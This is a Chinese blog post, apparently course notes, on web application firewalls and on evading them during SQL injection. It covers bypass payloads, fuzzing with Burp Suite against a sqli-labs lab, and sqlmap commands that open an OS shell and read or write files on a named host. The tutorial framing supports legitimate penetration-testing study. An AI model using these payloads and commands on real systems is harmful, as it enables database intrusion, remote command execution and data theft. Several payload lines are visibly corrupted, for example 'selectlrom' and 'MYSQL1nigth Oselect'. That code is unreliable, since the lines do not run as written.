WAF的介紹與WAF繞過原理

  • 2019 年 11 月 11 日
  • 筆記

WAF 是什麼?全稱 Web Application Firewall (WEB 應用防護系統),與傳統的 Firewall (防火牆) 不同,WAF 針對的是應用層。

安全是一個不斷對抗的過程,有防護手段,就有相應的繞過手段。

滲透測試過程中,WAF 是必定會遇到的,如何繞過 WAF 就是一個問題。

WAF 繞過的手段千變萬化,分為 3 類

  • 白盒繞過
  • 黑核繞過
  • Fuzz繞過

以下以 SQL 注入過程 繞 WAF 為例列舉需要的知識點。

  • 熟練掌握 MySQL函數和語法使用方法
  • 深入了解中間件運行機制
  • 了解 WAF 防護原理及方法

做到這三點,即可做到隨心所欲的繞過 WAF 的保護。

白盒繞過

blacklist 大概的意思是對 andor進行過濾,且不論大小寫,均替換為空.

如果繞過:

  • 大小寫變形:Or,OR,oR
  • 等價替換:and → && ,or → ||
  • ……(例如 OorR)

白盒下的繞過主要針對源碼進行審計,分析函數功能,構造特定的包進行繞過。

黑盒繞過

  • 架構層繞過 WAF
    • 尋找源站(針對雲 WAF)
    • 利用同網段(繞過防護區域:例如WAF部署在同一網段的出口,使用網段的主機進行攻擊,流量不經過WAF 。)
    • 理解邊界漏洞(繞過防護區域:例如利用 SSRF 對其內部進行測試)
  • 資源限制角度繞過 WAF
    • POST大 BODY
  • 協議層面繞過 WAF 的檢測
    • 請求方式變換:GET 變為 POST
    • Content-Type 變換:application/x-www-form-urlencoded;multipart/form-data;
    • 參數 污染(在伺服器交互的過程中,Http 允許 get 或者post 多次傳同一個參數值,造成覆蓋,配合WAF 解析的先後規則有可能繞過 WAF 的防護)
    • 協議未覆蓋繞過 WAF
  • 規則層面的繞過(主要的繞過方式,本課程的重點)

SQL注釋符的繞過

union/**/select #Level-1  union/*aaaa%01bbs*/select #Level-2  union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3  /*!xxx*/ #內聯注釋

空白符繞過

%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/ #MySQL空白符  %09,%0A,%0B,%0D,%20 #正則的空白符  union%250Cselect #Example-1 (%25=% %0c=空白符)  union%25A0select #Example-2

函數分割符號

concat%2520()  concat/**/()  concat%250c()  concat%250()

浮點數詞法解析

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0  select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0  select * from users where id=Nunion select 1,2,3,4,5,6,7,8,9.0

利用 error-bases進行 SQL 注入(err0r-bases SQL 注入函數容易被忽略)

extractvalue(1, concat(0x5c,md5(3)))  updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select@@version)f)x)) polygon((select*from(select name_const(version(),1))x))  linestring()  multipoint()  multilinestring()  multipolygonO()

MySQL 特殊語法

MYSQL1nigth Oselect{x table_name}from{x information_schema.tables};

Fuzz繞過

上面的例子我相信你看到這篇文章時基本都失效了,那麼如何在實戰中找到突破WAF的方式,就需要Fuzz的過程,Fuzz 在軟體測試領域,一般指」模糊測試「。

你說了那麼多,不就是瞎貓碰死耗子嗎?

漏洞對我們來說是未知的,能繞過規則的語句也是未知的,人無法嘗試所有的輸入,盲目猜測是沒有意義且低效。

簡單的Fuzz看起來就像是枚舉,更為複雜的Fuzz則生成了那些概率極低的偶然事件,而這,就是我們想要的答案。

下面搭建(phpStudy 2018 +某狗)sqli-labs環境進行測試(某狗的CC防護和IP黑名單功能關閉,只開啟HTTP防護)。

正常的SQL注入測試流程發現加'之後報錯推測有SQL注入,進一步使用語句測試發現觸發WAF,查看攔截日誌也能查看到記錄。

下面使用Burpsuite 的模組實現Fuzz。這裡以在語句中注釋符為例。

  • 最基本的:union/**/select
  • 測試引入中間特殊字元:union/*aaa%01bbx*/select
  • 測試注釋長度:union/*aaaaaaaaaaaaaaa*/select

設置payload的過程如下,生成字典只用了幾個字元。

本地機器執行緒無所畏懼,很快的結果就出來了。

看到不同長度的響應,有Fuzz出語句了嗎?這樣的語句不一定能用,如果繞過waf的規則語句無法正確執行,也是沒用的。

很遺憾的是我這裡最後得到的語句即使過狗也無法正確執行,不然我都就能演示如何過狗呢。我說說後續如何進行的,最後得到的Fuzz結果是一個固定的格式,後續SQL注入語句中將特徵進行替換即可。後續可能還會出現一個問題,函數如何繞過,對函數進行變形或者利用中間件解析特性。

有前輩指出,這種Fuzz方式的本質都是對正則的逃逸,仔細想想,不無道理。

WAF是如何防護的?「 WAF基於對http請求的分析,識別惡意行為,執行相關的阻斷、記錄、放行等」。

WAF如何分析http請求?http是一種文本協議,一般現代WAF採用的是正則表達式做規則,「 正則表達式的語法和文本協議的複雜邏輯允許替換等價的結構和使用不同的符號表示 , 在創建這些規則時會導致錯誤。「

而上述的繞過都是WAF的正則無法匹配,錯誤的進行的放行,導致繞過WAF的發生。

SQLmap的tamper

sqlmap相信不用我多介紹,只需要記得兩個選項幫組你記憶。

sqlmap -h #幫助選項  sqlmap -hh #更為詳細的幫組選項

常用的是以下語句

sqlmap -u "http://wuhash.ml/Less-1/?id=1"  sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-db  sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-user  sqlmap -u "http://wuhash.ml/Less-1/?id=1"  -D databasename -T table -C column  sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --os-shell  sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --sql-shell  sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --file-read  sqlmap -u "http://wuhash.ml/Less-1/?id=1" --file-write 本地文件 --file-dest 目標目錄及文件

tamper腳本存放於sqlmap安裝目錄下,其主要的功能是對payload進行處理以應對不同情況,其中也包括繞過WAF。筆者寫下此文時,內置了116個腳本,實際上tamper腳本是一段python腳本,任意打開一段腳本,可以看到對payload進行的處理過程,腳本的核心功能為tamper函數。

使用sqlmap –list-tampers查看tamper的描述資訊。

下面以sqli-labs的Less-28關為例,直接對Less-28進行sqlmap會發現無法注入,打開Less-28的源碼可以看到接受的參數ID在傳入SQL語句之前,經過了blacklist的處理,而blacklist的功能為對一些符號替換為空,這些符號包括(/、*、–、#、space、union+空白符+select的組合)。

打開一份tamper,複製一份,在原有的基礎上進行修改,最終寫出的tamper腳本如下,是不是有人黑人問號臉?

注意寫出tamper的前提是已經構造出繞過,寫出tamper只是將這個技巧工程化。

如何構造出繞過呢?這有回到課程一開始的話題,這裡很簡單,針對源碼構造即可。

tamper的功能為將「unino select 」替換為「union all select」,將空白符替換為」%0a」,用以規避blacklist對參數進行的處理。

再次測試,跟上tamper腳本名,很順利的檢測到注入點。

總結

這是兩節課程的筆記,這一章的繞WAF技巧都可以總結為對payload進行變形,如何變形才能成功的繞過才是關鍵的問題。

從防禦者的角度來說,基於正則的WAF已經不足以防護,這是正則本身的缺陷,市面上已經宣稱基於流量的機器學習、人工智慧技術的下一代WAF出現,筆者沒有工作在一線,未曾接觸。

相信即使出現這樣的產品,也沒有絕對的安全,任何一個脆弱點帶來的攻擊面都會突破整個系統。